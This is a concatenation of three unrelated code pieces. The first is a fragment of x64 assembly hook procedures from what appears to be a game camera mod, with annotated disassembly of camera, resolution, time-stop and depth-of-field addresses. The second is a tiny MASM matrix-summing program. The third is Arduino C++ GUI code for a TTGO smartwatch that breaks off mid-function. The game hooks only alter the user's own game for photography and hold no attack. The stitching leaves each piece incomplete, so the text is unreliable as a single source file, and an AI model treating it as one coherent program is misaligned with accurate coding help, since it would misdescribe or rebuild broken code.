;000000014065A23C | 48:8B83 B8000000 | mov rax,qword ptr [rbx+B8] ;000000014065A243 | 48:85C0 | test rax,rax ;000000014065A246 | 0F84 35040000 | je re3_dump.14065A681 ;000000014065A24C | F3:0F1070 30 | movss xmm6,dword ptr [rax+30] ;000000014065A251 | F3:0F1078 34 | movss xmm7,dword ptr [rax+34] ;000000014065A256 | 8B40 38 | mov eax,dword ptr [rax+38] ;// Update august 2020 ;000000014066D46D | 48:8B43 50 | mov rax,qword ptr ds:[rbx+50] ;000000014066D471 | 48:8378 18 00 | cmp qword ptr ds:[rax+18],0 ;000000014066D476 | 0F85 F4080000 | jne re3_dump.14066DD70 ;000000014066D47C | 0F1086 90000000 | movups xmm0,xmmword ptr ds:[rsi+90] << INTERCEPT HERE ;000000014066D483 | 0F1187 A0000000 | movups xmmword ptr ds:[rdi+A0],xmm0 << WRITE Quaternion ;000000014066D48A | 48:8B43 50 | mov rax,qword ptr ds:[rbx+50] << CONTINUE HERE ;000000014066D48E | 48:8378 18 00 | cmp qword ptr ds:[rax+18],0 ;000000014066D493 | 0F85 D7080000 | jne re3_dump.14066DD70 ;000000014066D499 | 48:8B86 B8000000 | mov rax,qword ptr ds:[rsi+B8] ;000000014066D4A0 | 48:85C0 | test rax,rax ;000000014066D4A3 | 0F84 DE020000 | je re3_dump.14066D787 ;000000014066D4A9 | F3:0F1078 30 | movss xmm7,dword ptr ds:[rax+30] movups xmm0, xmmword ptr [rsi+00000090h] cmp byte ptr [g_cameraEnabled], 1 je exit originalCode: movups xmmword ptr [rdi+000000A0h],xmm0 exit: jmp qword ptr [_cameraWrite5InterceptionContinue] ; jmp back into the original game code, which is the location after the original statements above. cameraWrite5Interceptor ENDP cameraWrite6Interceptor PROC ; quaternion write 2. Strictly not necessary but stops a camera move when the camera is enabled ;re3demo.exe+160A7842 - 48 8B 43 50 - mov rax,[rbx+50] ;re3demo.exe+160A7846 - 48 83 78 18 00 - cmp qword ptr [rax+18],00 { 0 } ;re3demo.exe+160A784B - 0F85 0F070000 - jne re3demo.exe+160A7F60 ;re3demo.exe+160A7851 - F3 0F10 74 24 40 - movss xmm6,[rsp+40] ;re3demo.exe+160A7857 - F3 44 0F10 44 24 44 - movss xmm8,[rsp+44] ;re3demo.exe+160A785E - 44 0F29 94 24 00010000 - movaps [rsp+00000100],xmm10 ;re3demo.exe+160A7867 - F3 44 0F10 54 24 48 - movss xmm10,[rsp+48] ;re3demo.exe+160A786E - F3 0F11 B7 A0000000 - movss [rdi+000000A0],xmm6 << INTERCEPT HERE << Write Qx ;re3demo.exe+160A7876 - F3 44 0F11 87 A4000000 - movss [rdi+000000A4],xmm8 << Write Qy ;re3demo.exe+160A787F - F3 44 0F11 97 A8000000 - movss [rdi+000000A8],xmm10 << Write Qz ;re3demo.exe+160A7888 - 44 0F29 9C 24 F0000000 - movaps [rsp+000000F0],xmm11 ;re3demo.exe+160A7891 - F3 44 0F10 5C 24 4C - movss xmm11,[rsp+4C] ;re3demo.exe+160A7898 - F3 44 0F11 9F AC000000 - movss [rdi+000000AC],xmm11 << Write Qw ;re3demo.exe+160A78A1 - 48 8B 43 50 - mov rax,[rbx+50] << CONTINUE HERE ;re3demo.exe+160A78A5 - 48 83 78 18 00 - cmp qword ptr [rax+18],00 { 0 } ;re3demo.exe+160A78AA - 0F85 9E060000 - jne re3demo.exe+160A7F4E ;// Update June 2020 ;000000014065A3C4 | 48:8B47 50 | mov rax,qword ptr [rdi+50] ;000000014065A3C8 | 48:8378 18 00 | cmp qword ptr [rax+18],0 ;000000014065A3CD | 0F85 E1060000 | jne re3_dump.14065AAB4 ;000000014065A3D3 | F344:0F104424 40 | movss xmm8,dword ptr [rsp+40] ;000000014065A3DA | 44:0F298C24 10010000 | movaps xmmword ptr [rsp+110],xmm9 ;000000014065A3E3 | F344:0F104C24 44 | movss xmm9,dword ptr [rsp+44] ;000000014065A3EA | 44:0F299424 00010000 | movaps xmmword ptr [rsp+100],xmm10 ;000000014065A3F3 | F344:0F105424 48 | movss xmm10,dword ptr [rsp+48] ;000000014065A3FA | F344:0F1186 A0000000 | movss dword ptr [rsi+A0],xmm8 << INTERCEPT HERE << Write Qx ;000000014065A403 | F344:0F118E A4000000 | movss dword ptr [rsi+A4],xmm9 << Write Qy ;000000014065A40C | F344:0F1196 A8000000 | movss dword ptr [rsi+A8],xmm10 << Write Qz ;000000014065A415 | 44:0F299C24 F0000000 | movaps xmmword ptr [rsp+F0],xmm11 ;000000014065A41E | F344:0F105C24 4C | movss xmm11,dword ptr [rsp+4C] ;000000014065A425 | F344:0F119E AC000000 | movss dword ptr [rsi+AC],xmm11 << Write Qw ;000000014065A42E | 48:8B47 50 | mov rax,qword ptr [rdi+50] << CONTINUE HERE ;000000014065A432 | 48:8378 18 00 | cmp qword ptr [rax+18],0 ;000000014065A437 | 0F85 5C060000 | jne re3_dump.14065AA99 ;000000014065A43D | 4C:8D4D 80 | lea r9,qword ptr [rbp-80] ;// update august 2020 ;000000014066D622 | 48:8B43 50 | mov rax,qword ptr ds:[rbx+50] ;000000014066D626 | 48:8378 18 00 | cmp qword ptr ds:[rax+18],0 ;000000014066D62B | 0F85 1B070000 | jne re3_dump.14066DD4C ;000000014066D631 | F3:0F107424 40 | movss xmm6,dword ptr ss:[rsp+40] ;000000014066D637 | F344:0F104424 44 | movss xmm8,dword ptr ss:[rsp+44] ;000000014066D63E | 44:0F299424 00010000 | movaps xmmword ptr ss:[rsp+100],xmm10 ;000000014066D647 | F344:0F105424 48 | movss xmm10,dword ptr ss:[rsp+48] ;000000014066D64E | F3:0F11B7 A0000000 | movss dword ptr ds:[rdi+A0],xmm6 << INTERCEPT HERE << Write Qx ;000000014066D656 | F344:0F1187 A4000000 | movss dword ptr ds:[rdi+A4],xmm8 << Write Qy ;000000014066D65F | F344:0F1197 A8000000 | movss dword ptr ds:[rdi+A8],xmm10 << Write Qz ;000000014066D668 | 44:0F299C24 F0000000 | movaps xmmword ptr ss:[rsp+F0],xmm11 ;000000014066D671 | F344:0F105C24 4C | movss xmm11,dword ptr ss:[rsp+4C] ;000000014066D678 | F344:0F119F AC000000 | movss dword ptr ds:[rdi+AC],xmm11 << Write Qw ;000000014066D681 | 48:8B43 50 | mov rax,qword ptr ds:[rbx+50] << CONTINUE HERE ;000000014066D685 | 48:8378 18 00 | cmp qword ptr ds:[rax+18],0 ;000000014066D68A | 0F85 AA060000 | jne re3_dump.14066DD3A ;000000014066D690 | 4C:8D4D 80 | lea r9,qword ptr ss:[rbp-80] ;000000014066D694 | F3:0F1145 90 | movss dword ptr ss:[rbp-70],xmm0 cmp byte ptr [g_cameraEnabled], 1 jne originalCode noWrites: movss xmm11,dword ptr [rsp+4Ch] jmp exit originalCode: movss dword ptr [rdi+0A0h],xmm6 movss dword ptr [rdi+0A4h],xmm8 movss dword ptr [rdi+0A8h],xmm10 movaps xmmword ptr [rsp+0F0h],xmm11 movss xmm11,dword ptr [rsp+4Ch] movss dword ptr [rdi+0ACh],xmm11 exit: jmp qword ptr [_cameraWrite6InterceptionContinue] ; jmp back into the original game code, which is the location after the original statements above. cameraWrite6Interceptor ENDP resolutionScaleReadInterceptor PROC ;re3demo.exe+1ABE49E3 - 48 8B 05 56CD11EE - mov rax,[re3demo.exe+8D01740] { (178C53C0) } ;re3demo.exe+1ABE49EA - 48 8D 4C 24 30 - lea rcx,[rsp+30] ;re3demo.exe+1ABE49EF - F3 41 0F10 46 40 - movss xmm0,[r14+40] ;re3demo.exe+1ABE49F5 - C7 44 24 30 CDCCCC3D - mov [rsp+30],3DCCCCCD { (0) } ;re3demo.exe+1ABE49FD - F3 0F59 80 B4140000 - mulss xmm0,[rax+000014B4] << INTERCEPT HERE << Address of resolution scaling 1.0 is 100% 2.0 is 200% ;re3demo.exe+1ABE4A05 - 48 8D 44 24 2C - lea rax,[rsp+2C] ;re3demo.exe+1ABE4A0A - 0F2F C7 - comiss xmm0,xmm7 ;re3demo.exe+1ABE4A0D - F3 0F11 44 24 2C - movss [rsp+2C],xmm0 << CONTINUE HERE ;re3demo.exe+1ABE4A13 - 48 0F46 C1 - cmovbe rax,rcx ;re3demo.exe+1ABE4A17 - F3 0F10 08 - movss xmm1,[rax] ;re3demo.exe+1ABE4A1B - 0F2F F1 - comiss xmm6,xmm1 ;re3demo.exe+1ABE4A1E - 77 03 - ja re3demo.exe+1ABE4A23 ;re3demo.exe+1ABE4A20 - 0F28 CE - movaps xmm1,xmm6 ;// Update June 2020 ;00000001428D4D98 | 0F44D1 | cmove edx,ecx ;00000001428D4D9B | 49:8BCC | mov rcx,r12 ;00000001428D4D9E | E8 8D87FCFF | call re3_dump.14289D530 ;00000001428D4DA3 | 48:8B05 E6653406 | mov rax,qword ptr [148C1B390] ;00000001428D4DAA | F341:0F1046 40 | movss xmm0,dword ptr [r14+40] << INTERCEPT HERE << Address of resolution scaling 1.0 is 100% 2.0 is 200% ;00000001428D4DB0 | C74424 30 CDCCCC3D | mov dword ptr [rsp+30],3DCCCCCD ;00000001428D4DB8 | F3:0F5980 B4140000 | mulss xmm0,dword ptr [rax+14B4] ;00000001428D4DC0 | 0F2FC7 | comiss xmm0,xmm7 << CONTINUE HERE ;00000001428D4DC3 | F3:0F114424 2C | movss dword ptr [rsp+2C],xmm0 ;00000001428D4DC9 | 76 0F | jbe re3_dump.1428D4DDA ;00000001428D4DCB | 0F2FF0 | comiss xmm6,xmm0 ;00000001428D4DCE | 48:8D4424 2C | lea rax,qword ptr [rsp+2C] ;00000001428D4DD3 | 77 0A | ja re3_dump.1428D4DDF ;00000001428D4DD5 | 0F28CE | movaps xmm1,xmm6 originalCode: mov [g_resolutionScaleAddress], rax movss xmm0,dword ptr [r14+40h] mov dword ptr [rsp+30h],3DCCCCCDh mulss xmm0,dword ptr [rax+14B4h] exit: jmp qword ptr [_resolutionScaleReadInterceptionContinue] ; jmp back into the original game code, which is the location after the original statements above. resolutionScaleReadInterceptor ENDP timestopReadInterceptor PROC ;re3demo.exe+18B02102 - 48 89 FE - mov rsi,rdi ;re3demo.exe+18B02105 - 44 38 B3 C1030000 - cmp [rbx+000003C1],r14l ;re3demo.exe+18B0210C - 74 0A - je re3demo.exe+18B02118 ;re3demo.exe+18B0210E - C7 83 84030000 0000803F - mov [rbx+00000384],3F800000 { (0) } ;re3demo.exe+18B02118 - F3 0F10 8B A0030000 - movss xmm1,[rbx+000003A0] ;re3demo.exe+18B02120 - F3 0F10 83 84030000 - movss xmm0,[rbx+00000384] ;re3demo.exe+18B02128 - 0F2F C1 - comiss xmm0,xmm1 ;re3demo.exe+18B0212B - 76 08 - jna re3demo.exe+18B02135 ;re3demo.exe+18B0212D - F3 0F11 8B 84030000 - movss [rbx+00000384],xmm1 ;re3demo.exe+18B02135 - F3 0F10 8B 84030000 - movss xmm1,[rbx+00000384] ;re3demo.exe+18B0213D - F3 0F10 83 84030000 - movss xmm0,[rbx+00000384] ;re3demo.exe+18B02145 - F3 0F59 8B 80030000 - mulss xmm1,[rbx+00000380] << INTERCEPT HERE << read time dilation. Set to 0.0 for pause, 1.0 for continue. ;re3demo.exe+18B0214D - 0F5A C0 - cvtps2pd xmm0,xmm0 ;re3demo.exe+18B02150 - F3 0F11 8B 84030000 - movss [rbx+00000384],xmm1 ;re3demo.exe+18B02158 - F2 41 0F59 C1 - mulsd xmm0,xmm9 << CONTINUE HERE ;re3demo.exe+18B0215D - F2 48 0F2C C0 - cvttsd2si rax,xmm0 ;re3demo.exe+18B02162 - 0F5A C1 - cvtps2pd xmm0,xmm1 ;re3demo.exe+18B02165 - 48 01 C6 - add rsi,rax ;re3demo.exe+18B02168 - F2 41 0F5E C0 - divsd xmm0,xmm8 ;re3demo.exe+18B0216D - 66 0F5A C0 - cvtpd2ps xmm0,xmm0 mov [g_timestopStructAddress], rbx mulss xmm1, dword ptr [rbx+00000380h] cvtps2pd xmm0,xmm0 movss dword ptr [rbx+00000384h],xmm1 exit: jmp qword ptr [_timestopReadInterceptionContinue] ; jmp back into the original game code, which is the location after the original statements above. timestopReadInterceptor ENDP displayTypeInterceptor PROC ;re3demo.exe+18B9F894 - 45 0F57 D2 - xorps xmm10,xmm10 ;re3demo.exe+18B9F898 - 44 0F2F 53 48 - comiss xmm10,[rbx+48] ;re3demo.exe+18B9F89D - 72 06 - jb re3demo.exe+18B9F8A5 ;re3demo.exe+18B9F89F - F3 44 0F11 43 48 - movss [rbx+48],xmm8 ;re3demo.exe+18B9F8A5 - 44 0F2F 53 4C - comiss xmm10,[rbx+4C] ;re3demo.exe+18B9F8AA - 72 06 - jb re3demo.exe+18B9F8B2 ;re3demo.exe+18B9F8AC - F3 44 0F11 4B 4C - movss [rbx+4C],xmm9 ;re3demo.exe+18B9F8B2 - 48 8D 45 10 - lea rax,[rbp+10] << JMP landing address ;re3demo.exe+18B9F8B6 - 48 89 45 18 - mov [rbp+18],rax ;re3demo.exe+18B9F8BA - 48 8D 3D 3F0746E7 - lea rdi,[re3demo.exe] << RIP relative, can't intercept ;re3demo.exe+18B9F8C1 - 8B 43 74 - mov eax,[rbx+74] <<<<<<< Read camera type. Set to 0 for FIT. ;re3demo.exe+18B9F8C4 - 83 F8 0E - cmp eax,0E { 14 } ;re3demo.exe+18B9F8C7 - 0F84 F8000000 - je re3demo.exe+18B9F9C5 ;re3demo.exe+18B9F8CD - 83 F8 11 - cmp eax,11 { 17 } ;re3demo.exe+18B9F8D0 - 0F8D EF000000 - jnl re3demo.exe+18B9F9C5 ;re3demo.exe+18B9F8D6 - FF C8 - dec eax ;re3demo.exe+18B9F8D8 - 83 F8 0F - cmp eax,0F { 15 } ;re3demo.exe+18B9F8DB - 0F87 40010000 - ja re3demo.exe+18B9FA21 ;re3demo.exe+18B9F8E1 - 48 98 - cdqe ;re3demo.exe+18B9F8E3 - 8B 8C 87 E03F2A02 - mov ecx,[rdi+rax*4+022A3FE0] ;re3demo.exe+18B9F8EA - 48 01 F9 - add rcx,rdi ; ; We'll intercept a bit higher in the function as a RIP value is in the way, the RBX register is the same value: ;re3demo.exe+18B9F80A - 48 89 CB - mov rbx,rcx ;re3demo.exe+18B9F80D - 48 8B 49 10 - mov rcx,[rcx+10] ;re3demo.exe+18B9F811 - F3 0F10 0D 031E2CF0 - movss xmm1,[re3demo.exe+8E6161C] { (0,00) } ;re3demo.exe+18B9F819 - 44 0F29 44 24 60 - movaps [rsp+60],xmm8 << INTERCEPT HERE ;re3demo.exe+18B9F81F - 44 0F29 4C 24 50 - movaps [rsp+50],xmm9 ;re3demo.exe+18B9F825 - F3 0F11 45 10 - movss [rbp+10],xmm0 ;re3demo.exe+18B9F82A - F3 0F11 4D 14 - movss [rbp+14],xmm1 << CONTINUE HERE ;re3demo.exe+18B9F82F - 44 0F29 54 24 40 - movaps [rsp+40],xmm10 ;re3demo.exe+18B9F835 - 48 85 C9 - test rcx,rcx ;re3demo.exe+18B9F838 - 74 20 - je re3demo.exe+18B9F85A mov [g_displayTypeStructAddress], rbx movaps xmmword ptr [rsp+60h],xmm8 movaps xmmword ptr [rsp+50h],xmm9 movss dword ptr [rbp+10h],xmm0 exit: jmp qword ptr [_displayTypeInterceptionContinue] ; jmp back into the original game code, which is the location after the original statements above. displayTypeInterceptor ENDP dofSelectorWriteInterceptor PROC ; use the whole block. ;re3demo.exe+1AEF4AB0 - 89 51 4C - mov [rcx+4C],edx << INTERCEPT HERE << Set to 1 for low/no dof. default 0 ;re3demo.exe+1AEF4AB3 - 85 D2 - test edx,edx ;re3demo.exe+1AEF4AB5 - 74 0E - je re3demo.exe+1AEF4AC5 ;re3demo.exe+1AEF4AB7 - 83 EA 01 - sub edx,01 { 1 } ;re3demo.exe+1AEF4ABA - 74 09 - je re3demo.exe+1AEF4AC5 ;re3demo.exe+1AEF4ABC - 83 FA 01 - cmp edx,01 { 1 } ;re3demo.exe+1AEF4ABF - 75 08 - jne re3demo.exe+1AEF4AC9 ;re3demo.exe+1AEF4AC1 - 88 51 50 - mov [rcx+50],dl ;re3demo.exe+1AEF4AC4 - C3 - ret ;re3demo.exe+1AEF4AC5 - C6 41 50 00 - mov byte ptr [rcx+50],00 { 0 } ;re3demo.exe+1AEF4AC9 - C3 - ret << CONTINUE HERE mov [g_dofStructAddress], rcx cmp byte ptr [g_cameraEnabled], 1 je noWrite mov [rcx+4Ch],edx noWrite: test edx,edx je setToZero sub edx,01h je setToZero cmp edx,01h jne exit mov [rcx+50h],dl jmp exit setToZero: mov byte ptr [rcx+50h],00 exit: jmp qword ptr [_dofSelectorWriteInterceptionContinue] ; jmp back into the original game code, which is the location after the original statements above. dofSelectorWriteInterceptor ENDP END
.386 .model flat, stdcall includelib msvcrt.lib extern exit: proc public start .data n_constant equ 3 n dd 3 matrix dd 1, 2, 3 dd 4, 5, 6 dd 7, 8, 9 sum_of_columns dd 0 .code start: ;This program sums the columns of a matrix. mov esi, 0 mov edi, 0 mov eax, 0 mov edx, 0 for_1 : for_2 : add eax, matrix[esi][edi] add esi, n_constant * 4 cmp esi, n_constant * n_constant * 4 jne for_2 mov esi, 0 add edi, 4 add edx, 1 cmp edx, n jne for_1 mov sum_of_columns, eax push 0 call exit end start
/* * Copyright (c) 2020 Alex Goodyear * Derived from ... Copyright (c) 2019 lewis he This is just a demonstration. Most of the functions are not implemented. The main implementation is low-power standby. The off-screen standby (not deep sleep) current is about 4mA. Select standard motherboard and standard backplane for testing. Created by Lewis he on October 10, 2019. */ #include "config.h" #include <Arduino.h> #include <time.h> #include "gui.h" #include <WiFi.h> #include "string.h" #include <Ticker.h> LV_FONT_DECLARE(Ubuntu); //dw LV_IMG_DECLARE(emelia_x); //dw LV_IMG_DECLARE(toby_1); //dw LV_IMG_DECLARE(pa_); //dw LV_IMG_DECLARE(nanny_Lil_Logan); //dw LV_IMG_DECLARE(nanny_1); //dw LV_IMG_DECLARE(bg2); LV_IMG_DECLARE(foot_16px); LV_IMG_DECLARE(homerFace); LV_IMG_DECLARE(hourHand); LV_IMG_DECLARE(minHand); LV_IMG_DECLARE(secHand); LV_IMG_DECLARE(eye); LV_IMG_DECLARE(wifi); LV_IMG_DECLARE(on); LV_IMG_DECLARE(off); LV_IMG_DECLARE(level1); LV_IMG_DECLARE(level2); LV_IMG_DECLARE(level3); LV_IMG_DECLARE(modules); // AKA About! extern EventGroupHandle_t g_event_group; extern QueueHandle_t g_event_queue_handle; static lv_style_t settingStyle; static lv_obj_t *mainBar = nullptr; static lv_style_t mainStyle; static lv_obj_t *menuBtn = nullptr; static lv_obj_t *torchLabel = nullptr; static uint8_t globalIndex = 0; static void lv_update_task(struct _lv_task_t *); static void lv_battery_task(struct _lv_task_t *); static int createOriginalFace (int); static int updateOriginalFace (int); static int createHomerFace (int); //dw predeclare these to suit Arduino IDE static int createEmeliaFace (int); static int createNannyFace (int); static int createTobyFace (int); static int createWiFi (int); static int createWiFiSwitches (int); static int createAbout (int); static int createAboutInfo (int); //dw tm timeinfo; time_t now; long unsigned lastNTPtime; unsigned long lastEntryTime; const char* NTP_SERVER = "au.pool.ntp.org"; const char* TZ_INFO = "AEST-10AEDT,M10.1.0,M4.1.0/3"; // Sydney-Australia //dw #ifdef DEBUG_EVENTS #define DEBUG_EVENTS /* * This is for debugging the LVGL library, requires LV_USE_LOG setting in lv_conf.h */ void my_log_cb (lv_log_level_t level, const char * file, int line, const char * fn_name, const char * dsc) { /*Send the logs via serial port*/ if(level == LV_LOG_LEVEL_ERROR) Serial.print("ERROR: "); if(level == LV_LOG_LEVEL_WARN) Serial.print("WARNING: "); if(level == LV_LOG_LEVEL_INFO) Serial.print("INFO: "); if(level == LV_LOG_LEVEL_TRACE) Serial.print("TRACE: "); Serial.printf("%s:%d:%s: %s\n", file, line, fn_name, dsc); } static char *decodeEvent (lv_event_t event); static void my_test_event_cb (lv_obj_t * obj, lv_event_t event) { log_d ("obj=%p, event=%d: %s", obj, event, decodeEvent (event)); } #endif // DEBUG_EVENTS. static char *decodeEvent (lv_event_t event) { switch(event) { case LV_EVENT_PRESSED: return ("LV_EVENT_PRESSED"); case LV_EVENT_PRESSING: return ("LV_EVENT_PRESSING"); case LV_EVENT_PRESS_LOST: return ("LV_EVENT_PRESS_LOST"); case LV_EVENT_SHORT_CLICKED: return ("LV_EVENT_SHORT_CLICKED"); case LV_EVENT_CLICKED: return ("LV_EVENT_CLICKED"); case LV_EVENT_LONG_PRESSED: return ("LV_EVENT_LONG_PRESSED"); case LV_EVENT_LONG_PRESSED_REPEAT: return ("LV_EVENT_LONG_PRESSED_REPEAT"); case LV_EVENT_RELEASED: return ("LV_EVENT_RELEASED"); case LV_EVENT_DRAG_BEGIN: return ("LV_EVENT_DRAG_BEGIN"); case LV_EVENT_DRAG_END: return ("LV_EVENT_DRAG_END"); case LV_EVENT_DRAG_THROW_BEGIN: return ("LV_EVENT_DRAG_THROW_BEGIN"); case LV_EVENT_GESTURE: log_d ("dir=%d\n", (int)lv_indev_get_gesture_dir(lv_indev_get_act())); return ("LV_EVENT_GESTURE"); case LV_EVENT_KEY: return ("LV_EVENT_KEY"); case LV_EVENT_FOCUSED: return ("LV_EVENT_FOCUSED"); case LV_EVENT_DEFOCUSED: return ("LV_EVENT_DEFOCUSED"); case LV_EVENT_LEAVE: return ("LV_EVENT_LEAVE"); case LV_EVENT_VALUE_CHANGED: return ("LV_EVENT_VALUE_CHANGED"); case LV_EVENT_INSERT: return ("LV_EVENT_INSERT"); case LV_EVENT_REFRESH: return ("LV_EVENT_REFRESH"); case LV_EVENT_APPLY: return ("LV_EVENT_APPLY"); case LV_EVENT_CANCEL: return ("LV_EVENT_CANCEL"); case LV_EVENT_DELETE: return ("LV_EVENT_DELETE"); default: return ("Unknown event"); } } class StatusBar { typedef struct { bool vaild; lv_obj_t *icon; } lv_status_bar_t; public: StatusBar() { memset(_array, 0, sizeof(_array)); } void createIcons(lv_obj_t *par) { _par = par; static lv_style_t barStyle; lv_style_init(&barStyle); lv_style_set_radius(&barStyle, LV_OBJ_PART_MAIN, 0); lv_style_set_bg_color(&barStyle, LV_OBJ_PART_MAIN, LV_COLOR_GRAY); lv_style_set_bg_opa(&barStyle, LV_OBJ_PART_MAIN, LV_OPA_20); lv_style_set_border_width(&barStyle, LV_OBJ_PART_MAIN, 0); lv_style_set_text_color(&barStyle, LV_OBJ_PART_MAIN, LV_COLOR_WHITE); lv_style_set_image_recolor(&barStyle, LV_OBJ_PART_MAIN, LV_COLOR_WHITE); _bar = lv_cont_create(_par, NULL); lv_obj_set_size(_bar, LV_HOR_RES, _barHeight); lv_obj_add_style(_bar, LV_OBJ_PART_MAIN, &barStyle); _array[0].icon = lv_label_create(_bar, NULL); lv_label_set_text(_array[0].icon, "100%"); _array[1].icon = lv_img_create(_bar, NULL); lv_img_set_src(_array[1].icon, LV_SYMBOL_BATTERY_FULL); _array[2].icon = lv_img_create(_bar, NULL); lv_img_set_src(_array[2].icon, LV_SYMBOL_WIFI); lv_obj_set_hidden(_array[2].icon, true); _array[3].icon = lv_img_create(_bar, NULL); lv_img_set_src(_array[3].icon, LV_SYMBOL_BLUETOOTH); lv_obj_set_hidden(_array[3].icon, true); //step counter _array[4].icon = lv_img_create(_bar, NULL); lv_img_set_src(_array[4].icon, &foot_16px); lv_obj_align(_array[4].icon, _bar, LV_ALIGN_IN_LEFT_MID, 10, 0); _array[5].icon = lv_label_create(_bar, NULL); lv_label_set_text(_array[5].icon, "00000"); lv_obj_align(_array[5].icon, _array[4].icon, LV_ALIGN_OUT_RIGHT_MID, 5, 0); _array[6].icon = lv_label_create(_bar, NULL); lv_label_set_text(_array[6].icon, THIS_VERSION_STR); lv_obj_align(_array[6].icon, _array[5].icon, LV_ALIGN_OUT_RIGHT_MID, 5, 0); refresh(); } void setStepCounter(uint32_t counter) { lv_label_set_text(_array[5].icon, String(counter).c_str()); lv_obj_align(_array[5].icon, _array[4].icon, LV_ALIGN_OUT_RIGHT_MID, 5, 0); } void updateLevel(int level) { lv_label_set_text(_array[0].icon, (String(level) + "%").c_str()); refresh(); } void updateBatteryIcon(lv_icon_battery_t icon) { const char *icons[6] = {LV_SYMBOL_BATTERY_EMPTY, LV_SYMBOL_BATTERY_1, LV_SYMBOL_BATTERY_2, LV_SYMBOL_BATTERY_3, LV_SYMBOL_BATTERY_FULL, LV_SYMBOL_CHARGE}; lv_img_set_src(_array[1].icon, icons[icon]); refresh(); } void show(lv_icon_status_bar_t icon) { lv_obj_set_hidden(_array[icon].icon, false); refresh(); } void hidden(lv_icon_status_bar_t icon) { lv_obj_set_hidden(_array[icon].icon, true); refresh(); } uint8_t height() { return _barHeight; } lv_obj_t *self() { return _bar; } private: void refresh() { int prev; for (int i = 0; i < 4; i++) { if (!lv_obj_get_hidden(_array[i].icon)) { if (i == LV_STATUS_BAR_BATTERY_LEVEL) { lv_obj_align(_array[i].icon, NULL, LV_ALIGN_IN_RIGHT_MID, 0, 0); } else { lv_obj_align(_array[i].icon, _array[prev].icon, LV_ALIGN_OUT_LEFT_MID, iconOffset, 0); } prev = i; } } }; lv_obj_t *_bar = nullptr; lv_obj_t *_par = nullptr; uint8_t _barHeight = 30; lv_status_bar_t _array[7]; const int8_t iconOffset = -5; }; StatusBar bar; TileDesc_t tileDesc[] = {{0, createOriginalFace}, {1, createEmeliaFace},{2, createNannyFace},{3, createTobyFace}, {0, createWiFi}, {1, createWiFiSwitches}, {0, createAbout}, {1, createAboutInfo}}; int numDescTiles = sizeof (tileDesc) / sizeof (TileDesc_t); #define TILE_OFFSET 4 // This value must be the number of columns. lv_obj_t *tileView; lv_point_t *tileMap; static int32_t lastIdx = 0; static void tileViewEvent_cb (lv_obj_t * obj, lv_event_t event) { log_d ("obj=%p, event=%d: %s", obj, event, decodeEvent (event)); if(event == LV_EVENT_VALUE_CHANGED) { /* ** The documentation says that this is uint32_t * but I want it signed! */ int32_t idx = *((int32_t *)lv_event_get_data ()); log_i ("tileViewChanged: was=%d, is=%d", lastIdx, idx); /* ** Do not remove watch time updates when moving to other features. */ if (!((lastIdx == 0) && (tileDesc[idx].row == 1))) { if (tileDesc[lastIdx].onExit != nullptr) tileDesc[lastIdx].onExit (lastIdx); } else { log_d ("onExit for idx=%d ignored", lastIdx); } /* ** Do not add watch time updates when moving from other features. */ if (!((idx == 0) && (tileDesc[lastIdx].row == 1))) { if (tileDesc[idx].onEntry != nullptr) tileDesc[idx].onEntry (idx); } else { log_d ("onEntry for idx=%d ignored", idx); } /* ** Ensure that movement between tile rows only occurs in column zero. */ if ((tileMap[idx].x == 0) && (tileMap[lastIdx].y != tileMap[idx].y)) { uint32_t i; for (i = lastIdx + 1; tileMap[lastIdx].y == tileMap[i].y; i++) { tileMap[i].x += TILE_OFFSET; } for (i = idx + 1; tileMap[idx].y == tileMap[i].y; i++) { tileMap[i].x -= TILE_OFFSET; } /* ** Refresh the valid positions to force the tile to re-evaluate ** valid tile movements. */ lv_tileview_set_valid_positions (obj, tileMap, numDescTiles); } lastIdx = idx; } } static void watchFaceEvent_cb (lv_obj_t * obj, lv_event_t event) { log_d ("obj=%p, event=%d: %s", obj, event, decodeEvent (event)); if ((event == LV_EVENT_LONG_PRESSED) && (tileDesc[lastIdx].row == 0) && (tileDesc[lastIdx].col != 0)) { /* ** A new watch face has been selected. */ log_i ("New watch face selected idx=%d, col=%d", lastIdx, tileDesc[lastIdx].col); /* * In preview mode, both the default face (idx == 0) and the currently viewed face have * task updates registered - remove the preview ready for the face shuffle. */ tileDesc[lastIdx].onExit (lastIdx); /* ** Alter the tileView to reflect the new selection. */ lv_obj_set_pos (tileDesc[0].tile, LV_HOR_RES * tileDesc[lastIdx].col, LV_VER_RES * tileDesc[lastIdx].row); lv_obj_set_pos (tileDesc[lastIdx].tile, 0, 0); /* ** row & col remain with the array index position and create is not ** required during run-time. */ int (*tfunc)(int) = tileDesc[lastIdx].onEntry; tileDesc[lastIdx].onEntry = tileDesc[0].onEntry; tileDesc[0].onEntry = tfunc; tfunc = tileDesc[lastIdx].onExit; tileDesc[lastIdx].onExit = tileDesc[0].onExit; tileDesc[0].onExit = tfunc; tfunc = tileDesc[lastIdx].onUpdate; tileDesc[lastIdx].onUpdate = tileDesc[0].onUpdate; tileDesc[0].onUpdate = tfunc; lv_obj_t *tobj = tileDesc[lastIdx].tile; tileDesc[lastIdx].tile = tileDesc[0].tile; tileDesc[0].tile = tobj; void *tdata = tileDesc[lastIdx].data; tileDesc[lastIdx].data = tileDesc[0].data; tileDesc[0].data = tdata; /* ** Finally, set the new tile position to 0,0 (this will cause an ** LV_EVENT_VALUE_CHANGED to be generated). */ lv_tileview_set_tile_act (tileView, 0, 0, LV_ANIM_OFF); TTGOClass *ttgo = TTGOClass::getWatch(); ttgo->shake (); } } void setupGui() { //lv_log_register_print_cb((lv_log_print_g_cb_t)my_log_cb); lv_obj_t *scr = lv_scr_act(); log_d ("called"); lv_style_init(&settingStyle); lv_style_set_radius(&settingStyle, LV_OBJ_PART_MAIN, 0); lv_style_set_bg_color(&settingStyle, LV_OBJ_PART_MAIN, LV_COLOR_GRAY); lv_style_set_bg_opa(&settingStyle, LV_OBJ_PART_MAIN, LV_OPA_0); lv_style_set_border_width(&settingStyle, LV_OBJ_PART_MAIN, 0); lv_style_set_text_color(&settingStyle, LV_OBJ_PART_MAIN, LV_COLOR_WHITE); lv_style_set_image_recolor(&settingStyle, LV_OBJ_PART_MAIN, LV_COLOR_WHITE); /* * Create the torch and ensure that it is at the back of all other widgets. * I tried creating a label and a container before finally stumbling upon * the positioning functionality I wanted with a button. */ torchLabel = lv_btn_create (scr, NULL); static lv_style_t torchStyle; lv_style_copy(&torchStyle, &settingStyle); lv_style_set_bg_color(&torchStyle, LV_OBJ_PART_MAIN, LV_COLOR_WHITE); 